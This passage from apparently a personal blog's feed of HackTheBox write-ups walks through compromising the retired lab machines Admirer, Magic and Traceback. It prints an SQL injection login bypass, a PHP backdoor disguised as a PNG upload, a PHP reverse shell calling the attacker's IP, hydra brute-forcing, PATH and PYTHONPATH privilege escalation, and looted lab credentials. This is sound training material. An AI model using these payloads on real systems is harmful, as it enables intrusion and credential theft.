%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
</code></pre></div>
<h2>Back to the FTP</h2>
<p>We connect to the FTP account using the creds. This allow us to get a SQL dump
(nothing interesting in it) and an archive of the web site. This archive give
show the existence of an interesting directory <code>utility-scripts</code>. It also give
use credentials for a MySQL database in the <code>db_connect.php</code> file.
The comment at the end of the file <code>// TODO: Finish implementing this or find a better open source alternative</code>
is also an hint for the next part.</p>
<p><img alt="FTP page" class="image-process-article-image" src="/media/2020.09/derivatives/article-image/admirer_03.png"/></p>
<h2>Back to the web</h2>
<p>We use <code>dirb</code> on the <code>utility-scripts</code> directory. As we know that the
application is using php we add the <code>.php</code> extension. The tool discover the page
<code>adminer.php</code>.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_admirer$ dirb http://10.10.10.187/utility-scripts/ /usr/share/wordlists/dirb/big.txt -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue May 5 05:55:58 2020
URL_BASE: http://10.10.10.187/utility-scripts/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://10.10.10.187/utility-scripts/ ----
+ http://10.10.10.187/utility-scripts/adminer.php (CODE:200|SIZE:4295)
</code></pre></div>
<h2>Adminer</h2>
<p><a href="https://www.adminer.org/">Adminer</a> is a tools to manage your database directly
from your browser. It is a <a href="https://www.phpmyadmin.net/">phpmyadmin</a>
alternative.</p>
<p>Obviously we land on a login page. The previously found credentials doesn't work.
But looking at the page, we see that the used version is "4.6.2" and that the
last version is "4.7.6".</p>
<p><img alt="adminer page" class="image-process-article-image" src="/media/2020.09/derivatives/article-image/admirer_02.png"/></p>
<p>We Google for "adminer 4.6.2 exploit" and found an article about a
<a href="https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool">serious vulnerability in adminer tool</a></p>
<p>We just need a <a href="https://github.com/allyshka/Rogue-MySql-Server">Rogue MySql Server</a>.
We launch it and start getting some files. We try <code>db_connect.php</code> but the file
was obviously replace by <code>adminer.php</code>. We can retrieve <code>adminier.php</code> just to
be sure that our exploit is working. Then we just retrieve <code>../index.php</code> which
contain the new creds for the database.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/Rogue-MySql-Server$ php roguemysql.php
Enter filename to get [db_connect.php] > ../index.php
[.] Waiting for connection on 0.0.0.0:3306
[+] Connection from 10.10.10.187:47566 - greet... auth ok... some shit ok... want file...
[+] ../index.php from 10.10.10.187:47566:
<!DOCTYPE HTML>
<!--
Multiverse by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
<head>
<title>Admirer</title>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1, user-scalable=no" name="viewport"/>
<link href="assets/css/main.css" rel="stylesheet"/>
<noscript><link href="assets/css/noscript.css" rel="stylesheet"/></noscript>
</head>
<body class="is-preload">
<!-- Wrapper -->
<div id="wrapper">
<!-- Header -->
<header id="header">
<h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>
<nav>
<ul>
<li><a class="icon solid fa-info-circle" href="#footer">About</a></li>
</ul>
</nav>
</header>
<!-- Main -->
<div id="main">
<?php
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
</div></div></body></html></code></pre></div>
<p>We can then connect to the local database with adminer but there is nothing
interesting there.</p>
<p>I have the habit to create two files <code>user</code> and <code>passwd</code> containing the looted
data. We use <code>hydra</code> to test the gather creds against the ssh service. The last
password found is a valid SSH password for the <code>waldo</code> user.</p>
<div class="highlight"><pre><span></span><code>$ hydra -L user -P passwd ssh://10.10.10.187
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-05 05:22:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries (l:11/p:6), ~5 tries per task
[DATA] attacking ssh://10.10.10.187:22/
[22][ssh] host: 10.10.10.187 login: ftpuser password: %n?4Wz}R$tTF7
[22][ssh] host: 10.10.10.187 login: waldo password: &<h5b~yk3f#{papb&da}{h>
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-05 05:22:17
</h5b~yk3f#{papb&da}{h></code></pre></div>
<p>We can then connect to ssh and get the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_admirer/loot/html$ ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
<snip>
waldo@admirer:~$ cat user.txt
fea0c3468144ce6091631cfbfb6c81eb
</snip></code></pre></div>
<h1>Way to root</h1>
<p>With our ssh connection with start to enumerate the box. The first thing we
notice is that we have the sudo permission to execute
<code>/opt/scripts/admin_tasks.sh</code> with the <code>SETENV</code> flag. Which means that our
environmental variable will be preserved.</p>
<div class="highlight"><pre><span></span><code>waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
</code></pre></div>
<p>When looking at the script we see a few interesting blocks.</p>
<p>The first interesting part is the <code>backup_shadow</code> function. I tried some race
condition between the moment the file is backuped and not yet <code>chown</code> to root.
But that is not working.</p>
<div class="highlight"><pre><span></span><code>backup_shadow<span class="o">()</span>
<span class="o">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="s2">"</span><span class="nv">$EUID</span><span class="s2">"</span><span class="w"> </span>-eq<span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="o">]</span>
<span class="w"> </span><span class="k">then</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Backing up /etc/shadow to /var/backups/shadow.bak..."</span>
<span class="w"> </span>/bin/cp<span class="w"> </span>/etc/shadow<span class="w"> </span>/var/backups/shadow.bak
<span class="w"> </span>/bin/chown<span class="w"> </span>root:shadow<span class="w"> </span>/var/backups/shadow.bak
<span class="w"> </span>/bin/chmod<span class="w"> </span><span class="m">600</span><span class="w"> </span>/var/backups/shadow.bak
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Done."</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Insufficient privileges to perform the selected operation."</span>
<span class="w"> </span><span class="k">fi</span>
<span class="o">}</span>
</code></pre></div>
<p>The next one is the <code>backup_web</code> function as this call an external python
script.</p>
<div class="highlight"><pre><span></span><code>backup_web<span class="o">()</span>
<span class="o">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="s2">"</span><span class="nv">$EUID</span><span class="s2">"</span><span class="w"> </span>-eq<span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="o">]</span>
<span class="w"> </span><span class="k">then</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Running backup script in the background, it might take a while..."</span>
<span class="w"> </span>/opt/scripts/backup.py<span class="w"> </span><span class="p">&</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Insufficient privileges to perform the selected operation."</span>
<span class="w"> </span><span class="k">fi</span>
<span class="o">}</span>
</code></pre></div>
<p>The python script import the <code>make_archive</code> function from <code>shutil</code>. And then
create a <code>tar.gz</code> archive from <code>/var/www/hml</code>.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/python3</span>
<span class="kn">from</span> <span class="nn">shutil</span> <span class="kn">import</span> <span class="n">make_archive</span>
<span class="n">src</span> <span class="o">=</span> <span class="s1">'/var/www/html/'</span>
<span class="c1"># old ftp directory, not used anymore</span>
<span class="c1">#dst = '/srv/ftp/html'</span>
<span class="n">dst</span> <span class="o">=</span> <span class="s1">'/var/backups/html'</span>
<span class="n">make_archive</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="s1">'gztar'</span><span class="p">,</span> <span class="n">src</span><span class="p">)</span>
</code></pre></div>
<p>As we can export our environmental variable to <code>sudo</code>, we can rewrote the
<code>shutil</code> module to execute the code we want. We wrote a specific <code>shutil.py</code> script:</p>
<div class="highlight"><pre><span></span><code> :::text
def make_archive(a,b,c):
print('ok')
with open('/root/root.txt') as f:
with open('/tmp/plop/flag.txt', 'w') as g:
g.write(f.read())
</code></pre></div>
<p>And run the web backup with specifying our <code>PYTHONPATH</code> environment variable.</p>
<div class="highlight"><pre><span></span><code>waldo@admirer:/tmp/plop$ sudo PYTHONPATH=/tmp/plop /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/plop$ ok
cat flag.txt
6bd44137e00395497fefe44684913599
</code></pre></div>
<h1>Wrapping up</h1>
<p>The box was a combination of simple techniques. As the exposed surface was
really small (FTP, SSH and HTTP) there was not a lot of rabbit hole during
exploration. I am a bit mad that the "exploit" for adminer was not in
<code>searchsploit</code> as I lost some time before putting the search into Google.</p>
<p>The root part was quit simple if you know already know the issue.</p>HTB: Magic2020-08-29T08:50:00+02:002020-08-29T08:50:00+02:00maggicktag:maggick.fr,2020-08-29:/2020/08/htb-magic.html<p><img alt="Magic card" class="align-left" src="/media/2020.08/magic_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/241">Magic</a> publish by
<a href="https://www.hackthebox.com/home/users/profile/31190">TRX</a> on April 18 2020.
This box is classified as a medium machine but is quit easy.
It involves a basic SQL injection, a magic file upload and a SUID binary.</p>
<p><img alt="Magic card" class="align-left" src="/media/2020.08/magic_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/241">Magic</a> publish by
<a href="https://www.hackthebox.com/home/users/profile/31190">TRX</a> on April 18 2020.
This box is classified as a medium machine but is quit easy.
It involves a basic SQL injection, a magic file upload and a SUID binary.</p>
<h1>Recon</h1>
<p>We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP).</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Apr 20 11:14:29 2020 as: nmap -p- -oN nmap 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Apr 20 11:14:42 2020 -- 1 IP address (1 host up) scanned in 12.63 seconds
</code></pre></div>
<h1>SSH</h1>
<p>The SSH service accept only public key authentication. Therefore we won't be
able to use any password found to connect to the SSH service.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh toto@10.10.10.185
toto@10.10.10.185: Permission denied (publickey).
</code></pre></div>
<h1>Web</h1>
<p>The website expose some picture gallery.</p>
<p><img alt="main page" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/magic_01.png"/></p>
<p>The website announce that we need to login to upload new picture.</p>
<p><img alt="login form" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/magic_02.png"/></p>
<p>Some mechanism forbid us to put space in our username and password. We fire up
Burp and edit the request using the <code>Intercept</code> function so that our post
request look like the following</p>
<div class="highlight"><pre><span></span><code>POST /login.php HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
username=aa' or 1=1 -- &password=a
</code></pre></div>
<p>We are then logged in and we can upload picture using the application.</p>
<p><img alt="upload form" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/magic_03.png"/></p>
<p>Obviously we want to upload some PHP file for instance
<code>/usr/share/webshells/php/simple-backdoor.php</code>. We intercept the request with
Burp and change the Content-Type to <code>image/png</code> and the image name to
<code>simple-backdoor.php.png</code>.</p>
<p>Our request is blocked and the application send us the following message
<code><script>alert('What are you trying to do there?')</script><!DOCTYPE HTML>
</code></p>
<p>That where the name of the box is relevant. We need to add the
PNG <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">magic number</a> to
our file.</p>
<p>Still using Burp we add <code>aaaaaaaa</code> at the begging of our file.</p>
<p><img alt="Burp request with aaaaaaaa" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/magic_04.png"/></p>
<p>Using the Raw editor in Burp we replace our <code>a</code> (<code>61</code>) by the PNG's magic number
<code>89 50 4E 47 0D 0A 1A 0A</code>.</p>
<p><img alt="Burp request with PNG's magic number" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/magic_05.png"/></p>
<p>Our request now looks like the following (I was forced to clean the requests
with the magic numbers as it broke the RSS/Atom xml).</p>
<div class="highlight"><pre><span></span><code>POST /upload.php HTTP/1.1
Host: 10.10.10.185
Content-Type: multipart/form-data; boundary=---------------------------1971341748341881315972996739
Content-Length: 692
Connection: close
Cookie: PHPSESSID=gl7e03c4vb6ejee40tgeobjhfh
-----------------------------1971341748341881315972996739
Content-Disposition: form-data; name="image"; filename="simple-backdoor2.php.png"
Content-Type: image/png
<89>PNG
^Z
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</code></pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
-----------------------------1971341748341881315972996739
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------1971341748341881315972996739--
</div>
<p>This "image" will be uploaded and we can then go to
<code>http://10.10.10.185/images/uploads/simple-backdoor2.php</code> to execute some
commands on the system.</p>
<p>We start enumerating and found a <code>db.php5</code> file containing the database
credentials <code>theseus:iamkingtheseus</code>.</p>
<div class="highlight"><pre><span></span><code>GET /images/uploads/simple-backdoor2.php.png?cmd=cat+/var/www/Magic/db.php5 HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
Content-Length: 2
HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 12:32:22 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 961
Connection: close
Content-Type: text/html; charset=UTF-8
<89>PNG
^Z
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
</pre>
</code></pre></div>
<p>We can then use <code>mysqldump</code> (which is strangely present on the box) to dump the
content of all databases using the previous credentials. That give us the
credentials for the web login form: <code>admin:Th3s3usW4sK1ng</code>.</p>
<div class="highlight"><pre><span></span><code>GET /images/uploads/simple-backdoor2.php.png?cmd=mysqldump+-piamkingtheseus+-u+theseus+--all-databases HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 12:31:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2201
Connection: close
Content-Type: text/html; charset=UTF-8
<89>PNG
^Z
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database:
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Current Database: `Magic`
--
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `Magic`;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-04-22 5:31:35
</pre>
</code></pre></div>
<p>It is time to get a proper shell. We know that PHP is installed on the box (as
the web application is using PHP). So we use a PHP reverse shell and run
<code>nc -l -p 4242</code> on our side.</p>
<div class="highlight"><pre><span></span><code>GET /images/uploads/simple-backdoor2.php.png?cmd=php+-r+'$sock%3dfsockopen("10.10.14.226",4242)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b' HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
</code></pre></div>
<p>That will give us a reverse shell as <code>www-data</code> without interactivity.
Using <code>/usr/bin/script -qc /bin/bash /dev/null</code> we get a better shell with
interactivity and can simply change user with <code>su theseus</code> and inputing his
password <code>Th3s3usW4sK1ng</code></p>
<p>Then we can grab the user flag.</p>
<div class="highlight"><pre><span></span><code>nc -l -p 4242
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/script -qc /bin/bash /dev/null
www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
su theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:/var/www/Magic/images/uploads$ cat ~/user.txt
cat ~/user.txt
e0d993fb203a25ba31cee6d8aa2a612f
</code></pre></div>
<h1>Root</h1>
<p>When looking at the SUID files we see that <code>sysinfo</code> is quit recent.</p>
<div class="highlight"><pre><span></span><code>theseus@ubuntu:/var/www/Magic/images/uploads$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep -v snap
<ype -exec="" -la="" 2="" f="" ls="" {}="">/dev/null \; | grep -v snap
-rwsr-xr-- 1 root dip 382696 Feb 11 07:05 /usr/sbin/pppd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 149080 Jan 31 09:18 /usr/bin/sudo
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping
-rwsr-xr-x 1 root root 10312 Dec 9 02:03 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 10232 Dec 18 00:15 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 26696 Jan 8 10:31 /bin/umount
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
-rwsr-xr-x 1 root root 43088 Jan 8 10:31 /bin/mount
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
</ype></code></pre></div>
<p>We use <code>ltrace</code> (also already on the box) to see the binary calls and quickly
saw a call to <code>lshw</code> using a relative path.</p>
<div class="highlight"><pre><span></span><code>theseus@ubuntu:/var/www/Magic/images/uploads$ ltrace /bin/sysinfo
ltrace /bin/sysinfo
_ZNSt8ios_base4InitC1Ev(0x55b09400e131, 0xffff, 0x7ffef3bfc788, 128) = 0
__cxa_atexit(0x7f40c551fa40, 0x55b09400e131, 0x55b09400e008, 6) = 0
setuid(0) = -1
setgid(0) = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55b09400e020, 0x55b093e0c8f8, -160, 0) = 0x55b09400e020
_ZNSolsEPFRSoS_E(0x55b09400e020, 0x7f40c558f870, 0x55b09400e020, 0x55b093e0c92d====================Hardware Info====================
) = 0x55b09400e020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffef3bfc650, 0x55b093e0c92e, 0, 2880) = 0x7ffef3bfc660
popen("lshw -short", "r") = 0x55b095436280
fgets(WARNING: you should run this program as super-user.
"H/W path Device Class "..., 128, 0x563a9c8f6280) = 0x7ffe1eb20b70
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffe1eb20c20, 0x7ffe1eb20b70, 0x7ffe1eb20b70, 0x6974706972637365) = 0x7ffe1eb20c20
fgets("================================"..., 128, 0x563a9c8f6280) = 0x7ffe1eb20b70
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffe1eb20c20, 0x7ffe1eb20b70, 0x7ffe1eb20b70, 0x3d3d3d3d3d3d3d3d) = 0x7ffe1eb20c20
</code></pre></div>
<p>So we simply exploit this <code>PATH</code> vulnerability and get the root flag.</p>
<div class="highlight"><pre><span></span><code>theseus@ubuntu:/var/www/Magic/images/uploads$ cd /tmp/
cd /tmp/
theseus@ubuntu:/tmp$ mkdir ioio
mkdir ioio
theseus@ubuntu:/tmp$ cd ioio
cd ioio
theseus@ubuntu:/tmp/ioio$ echo 'cat /root/root.txt' > lshw
echo 'cat /root/root.txt' > lshw
theseus@ubuntu:/tmp/ioio$ PATH=./:$PATH
PATH=./:$PATH
theseus@ubuntu:/tmp/ioio$ chmod +x lshw
chmod +x lshw
theseus@ubuntu:/tmp/ioio$ sysinfo
sysinfo
====================Hardware Info====================
a06f37dc581bc81a9e688040af40daaf
====================Disk Info====================
Disk /dev/loop0: 44.9 MiB, 47063040 bytes, 91920 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop1: 149.9 MiB, 157192192 bytes, 307016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
</code></pre></div>
<p>(The flag is in the <code>Hardware Info</code> part in the first lines of the <code>sysinfo</code> output.)</p>
<h1>Wrapping up</h1>
<p>Quit an easy but pleasant box. I will recommend this box to beginners as I
really enjoyed it.</p>HTB: Traceback2020-08-19T09:00:00+02:002020-08-19T09:00:00+02:00maggicktag:maggick.fr,2020-08-19:/2020/08/htb-traceback.html<p><img alt="Traceback Card" class="align-left" src="/media/2020.08/traceback_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/233">Traceback</a> publish on
Mars the 14th 2020 by
<a href="https://www.hackthebox.com/home/users/profile/21439">Xh4H</a>.
This box is rated as easy box. It implies some Google search, a lua interpreter
and a privilege escalation using the MOTD.</p>
<p><img alt="Traceback Card" class="align-left" src="/media/2020.08/traceback_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/233">Traceback</a> publish on
Mars the 14th 2020 by
<a href="https://www.hackthebox.com/home/users/profile/21439">Xh4H</a>.
This box is rated as easy box. It implies some Google search, a lua interpreter
and a privilege escalation using the MOTD.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. The box is quit busy so first of all we
run a simple aggressive TCP scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Mar 26 04:41:18 2020 as: nmap -p- -sS -oN nmap 10.10.10.181
Nmap scan report for 10.10.10.181
Host is up (0.089s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Mar 26 04:42:19 2020 -- 1 IP address (1 host up) scanned in 61.23 seconds
</code></pre></div>
<p>The open ports are:</p>
<ul>
<li>22: SSH</li>
<li>80: a web server</li>
</ul>
<p>We do not have any information to connect to the SSH server.</p>
<p>The website is a simple web page saying that the website has been hacked and
that a backdoor is available for the net.</p>
<p>Running a <code>dirb</code> or other web fuzzing tool doesn't give any result.</p>
<p><img alt="homepage" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/traceback_01.png"/></p>
<p>Looking at the source code we found a commentary in the body: "Some of the best
web shells that you might need".</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">center</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span><span class="p">></span>This site has been owned<span class="p"><!--</span--><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">h2</span><span class="p">></span>I have left a backdoor for all the net. FREE INTERNETZZZ<span class="p"><!--</span--><span class="nt">h2</span><span class="p">></span>
<span class="p"><</span><span class="nt">h3</span><span class="p">></span> - Xh4H - <span class="p"><!--</span--><span class="nt">h3</span><span class="p">></span>
<span class="cm"><!--Some of the best web shells that you might need ;)--></span>
<span class="p"><!--</span--><span class="nt">center</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">body</span><span class="p">></span>
</span></span></span></span></span></code></pre></div>
<p>The comment is the description of a <a href="https://github.com/TheBinitGhimire/Web-Shells">github repository containing
webshell</a>.</p>
<p>We generate a wordlist from the webshell of this repository and launch it
against the website with <a href="https://github.com/ffuf/ffuf">ffuf</a>.</p>
<div class="highlight"><pre><span></span><code>./ffuf -w ~/htb_traceback/Web-Shells/list -u http://10.10.10.181/FUZZ -mc 200 -c -v
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://10.10.10.181/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
| URL | http://10.10.10.181/smevk.php
* FUZZ: smevk.php
</code></pre></div>
<p>We go to the webshell page and found an authentication form.</p>
<p><img alt="webshell homepage" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/traceback_02.png"/></p>
<p>According to Github the default credentials are "admin:admin". Once log id we
can see a few interesting information:</p>
<ul>
<li>We are the user webadmin</li>
<li>Our id is <code>1000</code> which mean we are a system user</li>
</ul>
<p><img alt="webshell homepage" class="image-process-article-image" src="/media/2020.08/derivatives/article-image/traceback_03.png"/></p>
<p>We change directory for <code>/home/webadmin/</code>. We see that there is a
<code>.ssh/authorized_keys</code> file (maybe you need to create it if this doesn't exist,
as I used the public server the folder and the file already existed).
We add our public ssh key to the file and connect using ssh.</p>
